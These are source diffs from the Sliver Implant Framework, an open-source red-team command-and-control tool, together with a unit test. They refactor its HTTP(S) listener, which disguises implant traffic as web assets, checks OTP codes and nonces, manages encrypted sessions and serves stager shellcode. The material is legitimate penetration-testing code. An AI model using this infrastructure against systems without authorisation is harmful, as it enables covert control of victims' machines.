@@ -223,7 +231,7 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
defer cancelHTTPS()
server.HTTPServer.Shutdown(ctx)
if err := acmeHTTPServer.Shutdown(ctx); err != nil {
httpLog.Warnf("Failed to shutdown https server")
httpLog.Warn("Failed to shutdown https server")
}
}
} else {
@@ -233,13 +241,11 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
defer cancel()
server.HTTPServer.Shutdown(ctx)
if err := server.HTTPServer.Shutdown(ctx); err != nil {
httpLog.Warnf("Failed to shutdown https server")
httpLog.Warn("Failed to shutdown https server")
}
}
}
c, k, err := certs.C2ServerGetRSACertificate(conf.Domain)
httpLog.Infof("C2-Server: %v %v %v", c, k, err)
_, _, err := certs.C2ServerGetRSACertificate(conf.Domain)
if err == certs.ErrCertDoesNotExist {
httpLog.Infof("Generating C2 server certificate ...")
_, _, err := certs.C2ServerGenerateRSACertificate(conf.Domain)
@@ -248,62 +254,86 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
return nil, err
}
}
return server, nil
}
func getHTTPTLSConfig(conf *HTTPServerConfig) *tls.Config {
if conf.Cert == nil || conf.Key == nil {
var err error
conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate(conf.Domain)
if conf.Domain != "" {
conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate(conf.Domain)
} else {
conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate("localhost")
}
if err != nil {
httpLog.Warnf("Failed to generate self-signed tls cert/key pair %v", err)
httpLog.Errorf("Failed to generate self-signed tls cert/key pair %s", err)
return nil
}
}
cert, err := tls.X509KeyPair(conf.Cert, conf.Key)
if err != nil {
httpLog.Warnf("Failed to parse tls cert/key pair %v", err)
httpLog.Errorf("Failed to parse tls cert/key pair %s", err)
return nil
}
return &tls.Config{
Certificates: []tls.Certificate{cert},
MinVersion: tls.VersionTLS12,
CurvePreferences: []tls.CurveID{tls.CurveP521, tls.CurveP384, tls.CurveP256},
PreferServerCipherSuites: true,
CipherSuites: []uint16{
tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,
tls.TLS_RSA_WITH_AES_256_GCM_SHA384,
tls.TLS_RSA_WITH_AES_256_CBC_SHA,
},
Certificates: []tls.Certificate{cert},
MinVersion: tls.VersionTLS12,
}
}
func (s *SliverHTTPC2) router() *mux.Router {
router := mux.NewRouter()
c2Config := s.LoadC2Config()
if s.ServerConf.MaxRequestLength < 1024 {
s.ServerConf.MaxRequestLength = DefaultMaxBodyLength
}
if s.ServerConf.LongPollTimeout == 0 {
s.ServerConf.LongPollTimeout = DefaultLongPollTimeout
s.ServerConf.LongPollJitter = DefaultLongPollJitter
}
// Procedural C2
// ===============
// .txt = rsakey
// 1.phtml / .php = start / session
// .js = poll
// .png = stop
// .woff = sliver shellcode
// Key Exchange Handler
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.KeyExchangeFileExt),
s.rsaKeyHandler,
).MatcherFunc(s.filterOTP).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
router.HandleFunc("/{rpath:.*\\.txt$}", s.rsaKeyHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
router.HandleFunc("/{rpath:.*\\.phtml$}", s.startSessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
router.HandleFunc("/{rpath:.*\\.php$}", s.sessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
router.HandleFunc("/{rpath:.*\\.js$}", s.pollHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
router.HandleFunc("/{rpath:.*\\.png$}", s.stopHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
// Start Session Handler
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.StartSessionFileExt),
s.startSessionHandler,
).MatcherFunc(s.filterOTP).MatcherFunc(s.filterNonce).Methods(http.MethodGet, http.MethodPost)
// Session Handler
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.SessionFileExt),
s.sessionHandler,
).MatcherFunc(s.filterNonce).Methods(http.MethodGet, http.MethodPost)
// Poll Handler
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.PollFileExt),
s.pollHandler,
).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
// Close Handler
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.CloseFileExt),
s.closeHandler,
).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
// Can't force the user agent on the stager payload
// Request from msf stager payload will look like:
// GET /fonts/Inter-Medium.woff/B64_ENCODED_PAYLOAD_UUID
router.HandleFunc("/{rpath:.*\\.woff[/]{0,1}.*$}", s.stagerHander).Methods(http.MethodGet)
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s[/]{0,1}.*$}", c2Config.ImplantConfig.StagerFileExt),
s.stagerHander,
).MatcherFunc(s.filterOTP).Methods(http.MethodGet)
// Request does not match the C2 profile so we pass it to the static content or 404 handler
if s.Conf.Website != "" {
httpLog.Infof("Serving static content from website %v", s.Conf.Website)
if s.ServerConf.Website != "" {
httpLog.Infof("Serving static content from website %v", s.ServerConf.Website)
router.HandleFunc("/{rpath:.*}", s.websiteContentHandler).Methods(http.MethodGet)
} else {
// 404 Handler - Just 404 on every path that doesn't match another handler
@@ -318,7 +348,7 @@ func (s *SliverHTTPC2) router() *mux.Router {
}
// This filters requests that do not have a valid nonce
func filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
func (s *SliverHTTPC2) filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
nonce, err := getNonceFromURL(req.URL)
if err != nil {
httpLog.Warnf("Invalid nonce '%d' ignore request", nonce)
@@ -327,6 +357,29 @@ func filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
return true
}
func (s *SliverHTTPC2) filterOTP(req *http.Request, rm *mux.RouteMatch) bool {
if s.ServerConf.EnforceOTP {
httpLog.Debug("Checking for valid OTP code ...")
otpCode, err := getOTPFromURL(req.URL)
if err != nil {
httpLog.Warnf("Failed to validate OTP %s", err)
return false
}
valid, err := cryptography.ValidateTOTP(otpCode)
if err != nil {
httpLog.Warnf("Failed to validate OTP %s", err)
return false
}
if valid {
return true
}
return false
} else {
httpLog.Debug("OTP enforcement is disabled")
return true // OTP enforcement is disabled
}
}
func getNonceFromURL(reqURL *url.URL) (int, error) {
qNonce := ""
for arg, values := range reqURL.Query() {
@@ -336,7 +389,7 @@ func getNonceFromURL(reqURL *url.URL) (int, error) {
}
}
if qNonce == "" {
httpLog.Warnf("Nonce not found in request", qNonce)
httpLog.Warn("Nonce not found in request")
return 0, ErrMissingNonce
}
nonce, err := strconv.Atoi(qNonce)
@@ -344,7 +397,6 @@ func getNonceFromURL(reqURL *url.URL) (int, error) {
httpLog.Warnf("Invalid nonce, failed to parse '%s'", qNonce)
return 0, err
}
httpLog.Debugf("Request nonce = %d", nonce)
_, _, err = encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Warnf("Invalid nonce (%s)", err)
@@ -362,10 +414,9 @@ func getOTPFromURL(reqURL *url.URL) (string, error) {
}
}
if otpCode == "" {
httpLog.Warnf("OTP not found in request", otpCode)
httpLog.Warn("OTP not found in request")
return "", ErrMissingNonce
}
httpLog.Debugf("Request OTP = %s", otpCode)
return otpCode, nil
}
@@ -390,34 +441,36 @@ func loggingMiddleware(next http.Handler) http.Handler {
func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
return http.HandlerFunc(func(resp http.ResponseWriter, req *http.Request) {
resp.Header().Set("Server", s.getServerHeader())
resp.Header().Set("X-Powered-By", s.getPoweredByHeader())
resp.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate")
switch uri := req.URL.Path; {
case strings.HasSuffix(uri, ".txt"):
resp.Header().Set("Content-type", "text/plain; charset=utf-8")
case strings.HasSuffix(uri, ".css"):
resp.Header().Set("Content-type", "text/css; charset=utf-8")
case strings.HasSuffix(uri, ".php"):
resp.Header().Set("Content-type", "text/html; charset=utf-8")
case strings.HasSuffix(uri, ".js"):
resp.Header().Set("Content-type", "text/javascript; charset=utf-8")
case strings.HasSuffix(uri, ".png"):
resp.Header().Set("Content-type", "image/png")
default:
resp.Header().Set("Content-type", "application/octet-stream")
if resp.Header().Get("Content-type") == "" {
contentType := mime.TypeByExtension(req.URL.Path)
if contentType != "" {
resp.Header().Set("Content-type", contentType)
} else {
// We add a few more common mime types that aren't detected by
// the stdlib mime library
switch uri := req.URL.Path; {
case strings.HasSuffix(uri, ".jsp"):
fallthrough
case strings.HasSuffix(uri, ".phtml"):
fallthrough
case strings.HasSuffix(uri, ".php"):
resp.Header().Set("Content-type", mime.TypeByExtension(".html"))
default:
resp.Header().Set("Content-type", "application/octet-stream")
}
}
}
next.ServeHTTP(resp, req)
})
}
func (s *SliverHTTPC2) websiteContentHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Infof("Request for site %v -> %s", s.Conf.Website, req.RequestURI)
contentType, content, err := website.GetContent(s.Conf.Website, req.RequestURI)
httpLog.Infof("Request for site %v -> %s", s.ServerConf.Website, req.RequestURI)
contentType, content, err := website.GetContent(s.ServerConf.Website, req.RequestURI)
if err != nil {
httpLog.Infof("No website content for %s", req.RequestURI)
resp.WriteHeader(404) // No content for this path
resp.WriteHeader(http.StatusNotFound) // No content for this path
return
}
resp.Header().Set("Content-type", contentType)
@@ -425,32 +478,19 @@ func (s *SliverHTTPC2) websiteContentHandler(resp http.ResponseWriter, req *http
}
func default404Handler(resp http.ResponseWriter, req *http.Request) {
resp.WriteHeader(404)
httpLog.Debugf("[404] No match for %s", req.RequestURI)
resp.WriteHeader(http.StatusNotFound)
resp.Header().Set("Content-type", mime.TypeByExtension(".html"))
}
// [ HTTP Handlers ] ---------------------------------------------------------------
func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Info("Public key request")
if s.EnforceOTP {
otpCode, err := getOTPFromURL(req.URL)
if err != nil {
resp.WriteHeader(404)
return
}
valid, err := cryptography.ValidateTOTP(otpCode)
if err != nil {
httpLog.Warnf("Failed to validate OTP %s", err)
}
if !valid {
resp.WriteHeader(404)
return
}
}
httpLog.Debug("Public key request")
nonce, _ := getNonceFromURL(req.URL)
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.ServerConf.Domain)
if err != nil {
httpLog.Infof("Failed to get server certificate for cn = '%s': %s", s.Conf.Domain, err)
httpLog.Infof("Failed to get server certificate for cn = '%s': %s", s.ServerConf.Domain, err)
}
_, encoder, err := encoders.EncoderFromNonce(nonce)
if err != nil {
@@ -460,28 +500,13 @@ func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request
}
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Info("Start session request")
if s.EnforceOTP {
otpCode, err := getOTPFromURL(req.URL)
if err != nil {
resp.WriteHeader(404)
return
}
valid, err := cryptography.ValidateTOTP(otpCode)
if err != nil {
httpLog.Warnf("Failed to validate OTP %s", err)
}
if !valid {
resp.WriteHeader(404)
return
}
}
httpLog.Debug("Start http session request")
// Note: these are the c2 certificates NOT the certificates/keys used for SSL/TLS
publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.ServerConf.Domain)
if err != nil {
httpLog.Warn("Failed to fetch rsa private key")
resp.WriteHeader(404)
resp.WriteHeader(http.StatusNotFound)
return
}
@@ -495,25 +520,25 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
_, encoder, err := encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
resp.WriteHeader(404)
resp.WriteHeader(http.StatusNotFound)
return
}
body, err := ioutil.ReadAll(req.Body)
if err != nil {
httpLog.Errorf("Failed to read body %s", err)
resp.WriteHeader(404)
resp.WriteHeader(http.StatusNotFound)
}
data, err := encoder.Decode(body)
if err != nil {
httpLog.Errorf("Failed to decode body %s", err)
resp.WriteHeader(404)
resp.WriteHeader(http.StatusNotFound)
return
}
sessionInitData, err := cryptography.RSADecrypt(data, privateKey)
if err != nil {
httpLog.Error("RSA decryption failed")
resp.WriteHeader(404)
resp.WriteHeader(http.StatusNotFound)
return
}
sessionInit := &sliverpb.HTTPSessionInit{}
@@ -525,7 +550,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
ID: core.NextSessionID(),
Transport: "http(s)",
RemoteAddress: getRemoteAddr(req),
Send: make(chan *sliverpb.Envelope, 16),
Send: make(chan *sliverpb.Envelope),
RespMutex: &sync.RWMutex{},
Resp: map[uint64]chan *sliverpb.Envelope{},
})
@@ -536,52 +561,31 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
ciphertext, err := cryptography.GCMEncrypt(httpSession.Key, []byte(httpSession.ID))
if err != nil {
httpLog.Info("Failed to encrypt session identifier")
resp.WriteHeader(404)
resp.WriteHeader(http.StatusNotFound)
return
}
http.SetCookie(resp, &http.Cookie{
Domain: s.Conf.Domain,
Domain: s.ServerConf.Domain,
Name: s.getCookieName(),
Value: httpSession.ID,
Secure: true,
Secure: false,
HttpOnly: true,
})
resp.Write(encoder.Encode(ciphertext))
}
func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Info("Session request")
httpLog.Debug("Session request")
httpSession := s.getHTTPSession(req)
if httpSession == nil {
httpLog.Infof("No session with id %#v", httpSession.ID)
resp.WriteHeader(403)
resp.WriteHeader(http.StatusForbidden)
return
}
nonce, _ := getNonceFromURL(req.URL)
_, encoder, err := encoders.EncoderFromNonce(nonce)
plaintext, err := s.readReqBody(httpSession, resp, req)
if err != nil {
httpLog.Infof("Request specified an invalid encoder (%d)", nonce)
resp.WriteHeader(404)
return
}
body, _ := ioutil.ReadAll(req.Body)
data, err := encoder.Decode(body)
if err != nil {
httpLog.Errorf("Failed to decode body %s", err)
resp.WriteHeader(404)
return
}
if httpSession.isReplayAttack(data) {
httpLog.Warn("Replay attack detected")
resp.WriteHeader(404)
return
}
plaintext, err := cryptography.GCMDecrypt(httpSession.Key, data)
if err != nil {
httpLog.Warnf("GCM decryption failed %v", err)
resp.WriteHeader(404)
httpLog.Warnf("Failed to decode request body: %s", err)
return
}
envelope := &sliverpb.Envelope{}
@@ -597,17 +601,15 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
} else if handler, ok := handlers[envelope.Type]; ok {
handler.(func(*core.Session, []byte))(httpSession.Session, envelope.Data)
}
resp.WriteHeader(200)
// TODO: Return random data?
resp.WriteHeader(http.StatusAccepted)
}
func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Poll request")
httpSession := s.getHTTPSession(req)
if httpSession == nil {
httpLog.Infof("No session with id %#v", httpSession.ID)
resp.WriteHeader(403)
httpLog.Warnf("No session with id %#v", httpSession.ID)
resp.WriteHeader(http.StatusForbidden)
return
}
@@ -616,52 +618,108 @@ func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request)
_, encoder, _ := encoders.EncoderFromNonce(nonce)
select {
case envelope := <-httpSession.Session.Send:
resp.WriteHeader(200)
resp.WriteHeader(http.StatusOK)
envelopeData, _ := proto.Marshal(envelope)
data, _ := cryptography.GCMEncrypt(httpSession.Key, envelopeData)
resp.Write(encoder.Encode(data))
case <-time.After(pollTimeout):
ciphertext, err := cryptography.GCMEncrypt(httpSession.Key, envelopeData)
if err != nil {
httpLog.Errorf("Failed to encrypt message %s", err)
ciphertext = []byte{}
}
resp.Write(encoder.Encode(ciphertext))
case <-time.After(s.getPollTimeout()):
httpLog.Debug("Poll time out")
resp.WriteHeader(201)
resp.Header().Set("Etag", s.randomEtag())
resp.WriteHeader(http.StatusNoContent)
resp.Write([]byte{})
}
}
func (s *SliverHTTPC2) stopHandler(resp http.ResponseWriter, req *http.Request) {
func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseWriter, req *http.Request) ([]byte, error) {
nonce, _ := getNonceFromURL(req.URL)
_, encoder, err := encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
resp.WriteHeader(http.StatusNotFound)
return nil, ErrInvalidEncoder
}
body, err := ioutil.ReadAll(&io.LimitedReader{
R: req.Body,
N: int64(s.ServerConf.MaxRequestLength),
})
if err != nil {
httpLog.Warnf("Failed to read request body %s", err)
return nil, err
}
data, err := encoder.Decode(body)
if err != nil {
httpLog.Warnf("Failed to decode body %s", err)
resp.WriteHeader(http.StatusNotFound)
return nil, ErrDecodeFailed
}
if httpSession.isReplayAttack(data) {
httpLog.Warn("Replay attack detected")
resp.WriteHeader(http.StatusNotFound)
return nil, ErrReplayAttack
}
plaintext, err := cryptography.GCMDecrypt(httpSession.Key, data)
return plaintext, err
}
func (s *SliverHTTPC2) getPollTimeout() time.Duration {
if s.ServerConf.LongPollJitter < 0 {
s.ServerConf.LongPollJitter = 0
}
min := s.ServerConf.LongPollTimeout
max := s.ServerConf.LongPollTimeout + s.ServerConf.LongPollJitter
timeout := min + insecureRand.Float32()*(max-min)
pollTimeout := time.Duration(timeout) * time.Second
if pollTimeout < minPollTimeout {
httpLog.Warnf("Poll timeout is too short, using default minimum %v", minPollTimeout)
pollTimeout = minPollTimeout
}
return pollTimeout
}
func (s *SliverHTTPC2) randomEtag() string {
buf := make([]byte, 16)
rand.Read(buf)
return hex.EncodeToString(buf[:])
}
func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Close request")
httpSession := s.getHTTPSession(req)
if httpSession == nil {
httpLog.Infof("No session with id %#v", httpSession.ID)
resp.WriteHeader(403)
resp.WriteHeader(http.StatusForbidden)
return
}
nonce := []byte(req.URL.Query().Get("nonce"))
if httpSession.isReplayAttack(nonce) {
httpLog.Warn("Replay attack detected")
resp.WriteHeader(404)
return
}
_, err := cryptography.GCMDecrypt(httpSession.Key, nonce)
_, err := s.readReqBody(httpSession, resp, req)
if err != nil {
httpLog.Warnf("GCM decryption failed %v", err)
resp.WriteHeader(404)
httpLog.Errorf("Failed to read request body %s", err)
resp.WriteHeader(http.StatusForbidden)
return
}
core.Sessions.Remove(httpSession.Session.ID)
s.HTTPSessions.Remove(httpSession.ID)
resp.WriteHeader(200)
resp.WriteHeader(http.StatusAccepted)
}
// stagerHander - Serves the sliver shellcode to the stager requesting it
func (s *SliverHTTPC2) stagerHander(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Stager request")
if len(s.SliverStage) != 0 {
httpLog.Infof("Received staging request from %s", getRemoteAddr(req))
resp.Write(s.SliverStage)
httpLog.Infof("Serving sliver shellcode (size %d) to %s", len(s.SliverStage), getRemoteAddr(req))
resp.WriteHeader(200)
resp.WriteHeader(http.StatusOK)
} else {
resp.WriteHeader(404)
resp.WriteHeader(http.StatusNotFound)
}
}
@@ -704,7 +762,7 @@ func getRemoteAddr(req *http.Request) string {
// input we don't want to trust it.
ip := net.ParseIP(ipAddress)
if ip == nil {
httpLog.Warnf("Failed to parse X-Header as ip address")
httpLog.Warn("Failed to parse X-Header as ip address")
return req.RemoteAddr
}
return fmt.Sprintf("tcp(%s)->%s", req.RemoteAddr, ip.String())
+138
View File
@@ -0,0 +1,138 @@
package c2
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
insecureRand "math/rand"
"net/http"
"net/http/httptest"
"net/url"
"testing"
"time"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
implantTransports "github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/cryptography"
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
)
func TestRsaKeyHandler(t *testing.T) {
certs.SetupCAs()
server, err := StartHTTPSListener(&HTTPServerConfig{
Addr: "127.0.0.1:8888",
EnforceOTP: true,
})
if err != nil {
t.Errorf("Listener failed to start %s", err)
return
}
router := server.router()
// Missing parameters
rr := httptest.NewRecorder()
req, _ := http.NewRequest("GET", "/test/foo.txt", nil)
router.ServeHTTP(rr, req)
if status := rr.Code; status != http.StatusNotFound {
t.Errorf("handler returned wrong status code: got %d want %d", status, http.StatusNotFound)
}
// Invalid OTP code
for i := 0; i < 100; i++ {
rr = httptest.NewRecorder()
req, _ = http.NewRequest("GET", fmt.Sprintf("/test/foo.txt?aa=%d", insecureRand.Intn(99999999)), nil)
router.ServeHTTP(rr, req)
if status := rr.Code; status != http.StatusNotFound {
t.Errorf("handler returned wrong status code: got %d want %d", status, http.StatusNotFound)
}
}
// Valid OTP code
client := implantTransports.SliverHTTPClient{}
baseURL := &url.URL{
Scheme: "http",
Host: "127.0.0.1:8888",
Path: "/test/foo.txt",
}
nonce, _ := implantEncoders.RandomEncoder()
testURL := client.NonceQueryArgument(baseURL, nonce)
now := time.Now().UTC()
opts := totp.ValidateOpts{
Digits: 8,
Algorithm: otp.AlgorithmSHA256,
Period: uint(30),
Skew: uint(1),
}
secret, _ := cryptography.TOTPServerSecret()
code, _ := totp.GenerateCodeCustom(secret, now, opts)
testURL = client.OTPQueryArgument(baseURL, code)
rr = httptest.NewRecorder()
req, _ = http.NewRequest("GET", testURL.String(), nil)
router.ServeHTTP(rr, req)
if status := rr.Code; status != http.StatusOK {
t.Errorf("handler returned wrong status code: got %d want %d", status, http.StatusOK)
}
}
func TestGetOTPFromURL(t *testing.T) {
client := implantTransports.SliverHTTPClient{}
for i := 0; i < 100; i++ {
baseURL := &url.URL{
Scheme: "http",
Host: "127.0.0.1:8888",
Path: "/test/foo.txt",
}
value := fmt.Sprintf("%d", insecureRand.Intn(99999999))
testURL := client.OTPQueryArgument(baseURL, value)
urlValue, err := getOTPFromURL(testURL)
if err != nil {
t.Error(err)
}
if urlValue != value {
t.Fatalf("Mismatched OTP values %s (%s != %s)", testURL.String(), value, urlValue)
}
}
}
func TestGetNonceFromURL(t *testing.T) {
client := implantTransports.SliverHTTPClient{}
for i := 0; i < 100; i++ {
baseURL := &url.URL{
Scheme: "http",
Host: "127.0.0.1:8888",
Path: "/test/foo.txt",
}
nonce, _ := implantEncoders.RandomEncoder()
testURL := client.NonceQueryArgument(baseURL, nonce)
urlNonce, err := getNonceFromURL(testURL)
if err != nil {
t.Error(err)
}
if urlNonce != nonce {
t.Fatalf("Mismatched encoder nonces %s (%d != %d)", testURL.String(), nonce, urlNonce)
}
}
}
+4 -4
View File
@@ -223,8 +223,8 @@ func StartHTTPListenerJob(conf *HTTPServerConfig) (*core.Job, error) {
go func() {
var err error
if server.Conf.Secure {
if server.Conf.ACME {
if server.ServerConf.Secure {
if server.ServerConf.ACME {
err = server.HTTPServer.ListenAndServeTLS("", "") // ACME manager pulls the certs under the hood
} else {
err = listenAndServeTLS(server.HTTPServer, conf.Cert, conf.Key)
@@ -315,8 +315,8 @@ func StartHTTPStagerListenerJob(conf *HTTPServerConfig, data []byte) (*core.Job,
go func() {
var err error
if server.Conf.Secure {
if server.Conf.ACME {
if server.ServerConf.Secure {
if server.ServerConf.ACME {
err = server.HTTPServer.ListenAndServeTLS("", "") // ACME manager pulls the certs under the hood
} else {
err = listenAndServeTLS(server.HTTPServer, conf.Cert, conf.Key)
+20 -3
View File
@@ -1,5 +1,23 @@
package c2
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"bytes"
@@ -25,7 +43,7 @@ var (
tunIP = "100.64.0.1" // Don't let user configure this for now
)
// StartWGListener - First ceates an inet.af network stack.
// StartWGListener - First creates an inet.af network stack.
// then creates a Wireguard device/interface and applies configuration.
// Go routines are spun up to handle key exchange connections, as well
// as c2 comms connections.
@@ -146,8 +164,7 @@ func handleKeyExchangeConnection(conn net.Conn) {
} else {
wgLog.Infof("Successfully generated new wg keys")
message := implantPrivKey + "|" + serverPubKey + "|" + string(ip)
wgLog.Infof("Sending new wg keys and IP: %s", message)
wgLog.Debugf("Sending new wg keys and IP: %s", message)
conn.Write([]byte(message))
}
}
+263 -76
View File
@@ -20,11 +20,14 @@ package configs
import (
"encoding/json"
"errors"
"fmt"
"io/ioutil"
insecureRand "math/rand"
"os"
"path"
"regexp"
"strings"
"github.com/bishopfox/sliver/server/assets"
"github.com/bishopfox/sliver/server/log"
@@ -85,33 +88,34 @@ func (h *HTTPC2Config) ChromeVer() string {
// RandomImplantConfig - Randomly generate a config
func (h *HTTPC2Config) RandomImplantConfig() *HTTPC2ImplantConfig {
return &HTTPC2ImplantConfig{
UserAgent: h.ImplantConfig.UserAgent,
config := &HTTPC2ImplantConfig{}
*config = *h.ImplantConfig
MaxFiles: h.ImplantConfig.MaxFiles,
MaxPaths: h.ImplantConfig.MaxPaths,
config.KeyExchangeFiles = h.ImplantConfig.RandomKeyExchangeFiles()
config.KeyExchangePaths = h.ImplantConfig.RandomKeyExchangePaths()
CssFiles: h.ImplantConfig.RandomCssFiles(),
CssPaths: h.ImplantConfig.RandomCssPaths(),
config.PollFiles = h.ImplantConfig.RandomPollFiles()
config.PollPaths = h.ImplantConfig.RandomPollPaths()
JsFiles: h.ImplantConfig.RandomJsFiles(),
JsPaths: h.ImplantConfig.RandomJsPaths(),
config.SessionFiles = h.ImplantConfig.RandomSessionFiles()
config.SessionPaths = h.ImplantConfig.RandomSessionPaths()
TxtFiles: h.ImplantConfig.RandomTxtFiles(),
TxtPaths: h.ImplantConfig.RandomTxtPaths(),
config.CloseFiles = h.ImplantConfig.RandomCloseFiles()
config.ClosePaths = h.ImplantConfig.RandomClosePaths()
PngFiles: h.ImplantConfig.RandomPngFiles(),
PngPaths: h.ImplantConfig.RandomPngPaths(),
return config
}
PhpFiles: h.ImplantConfig.RandomPhpFiles(),
PhpPaths: h.ImplantConfig.RandomPhpPaths(),
}
type HTTPHeader struct {
Name string `json:"name"`
Value string `json:"value"`
}
// HTTPC2ServerConfig - Server configuration options
type HTTPC2ServerConfig struct {
Headers []string `json:"headers"`
Cookies []string `json:"cookies"`
RandomVersionHeaders bool `json:"random_version_headers"`
ExtraHeaders []HTTPHeader `json:"headers"`
Cookies []string `json:"cookies"`
}
// HTTPC2ImplantConfig - Implant configuration options
@@ -133,88 +137,80 @@ type HTTPC2ImplantConfig struct {
MaxPaths int `json:"max_paths"`
MinPaths int `json:"min_paths"`
// CSS files and paths
CssFiles []string `json:"css_files"`
CssPaths []string `json:"css_paths"`
// Stager File Extension
StagerFileExt string `json:"stager_file_ext"`
// JS files and paths
JsFiles []string `json:"js_files"`
JsPaths []string `json:"js_paths"`
// Key Exchange (default .txt) files and paths
KeyExchangeFileExt string `json:"key_exchange_file_ext"`
KeyExchangeFiles []string `json:"key_exchange_files"`
KeyExchangePaths []string `json:"key_exchange_paths"`
// Txt files and paths
TxtFiles []string `json:"txt_files"`
TxtPaths []string `json:"txt_paths"`
// Poll files and paths
PollFileExt string `json:"poll_file_ext"`
PollFiles []string `json:"poll_files"`
PollPaths []string `json:"poll_paths"`
// Png files and paths
PngFiles []string `json:"png_files"`
PngPaths []string `json:"png_paths"`
// Session files and paths
StartSessionFileExt string `json:"start_session_file_ext"`
SessionFileExt string `json:"session_file_ext"`
SessionFiles []string `json:"session_files"`
SessionPaths []string `json:"session_paths"`
// Php files and paths
PhpFiles []string `json:"php_files"`
PhpPaths []string `json:"php_paths"`
// Close session files and paths
CloseFileExt string `json:"close_file_ext"`
CloseFiles []string `json:"close_files"`
ClosePaths []string `json:"close_paths"`
}
func (h *HTTPC2ImplantConfig) RandomCssFiles() []string {
func (h *HTTPC2ImplantConfig) RandomKeyExchangeFiles() []string {
min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.CssFiles, min, h.MaxFiles)
return h.randomSample(h.KeyExchangeFiles, h.KeyExchangeFileExt, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomCssPaths() []string {
return h.randomSample(h.CssPaths, h.MinPaths, h.MaxPaths)
func (h *HTTPC2ImplantConfig) RandomKeyExchangePaths() []string {
return h.randomSample(h.KeyExchangePaths, "", h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) RandomJsFiles() []string {
func (h *HTTPC2ImplantConfig) RandomPollFiles() []string {
